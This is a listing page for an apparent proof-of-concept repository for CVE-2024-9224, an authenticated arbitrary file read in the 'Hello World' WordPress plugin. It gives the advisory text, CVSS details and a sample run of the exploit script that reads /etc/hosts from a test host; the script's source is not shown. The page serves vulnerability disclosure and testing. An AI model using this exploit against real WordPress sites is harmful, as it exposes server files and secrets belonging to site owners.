CVE-2024-9224 PoC — Hello World <= 2.1.1 - Authenticated (Subscriber+) Arbitrary File Read

Source

https://github.com/RandomRobbieBF/CVE-2024-9224

Associated Vulnerability

Title:Hello World <= 2.1.1 - Authenticated (Subscriber+) Arbitrary File Read (CVE-2024-9224)
Description:The Hello World plugin for WordPress is vulnerable to Arbitrary File Reading in all versions up to, and including, 2.1.1 via the hello_world_lyric() function. This makes it possible for authenticated attackers, with subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.

Description

Hello World <= 2.1.1 - Authenticated (Subscriber+) Arbitrary File Read

Readme

# CVE-2024-9224
Hello World &lt;= 2.1.1 - Authenticated (Subscriber+) Arbitrary File Read

# Description
The Hello World plugin for WordPress is vulnerable to Arbitrary File Reading in all versions up to, and including, 2.1.1 via the hello_world_lyric() function. This makes it possible for authenticated attackers, with subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.


# Info

```
Published: 2024-09-30 00:00:00
CVE: CVE-2024-9224
CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CVSS Score: 6.5
Slugs: hello-world
```

# Notes
It only displays a small part of the text file.

# POC

```
python3 CVE-2024-9224.py -un user -p user --url http://kubernetes.docker.internal -f /etc/hosts
Vulnerability check: http://kubernetes.docker.internal
Logged in successfully.
Nonce value: 0dbe58cb8d
Extracted text: 127.0.0.1	localhost
```

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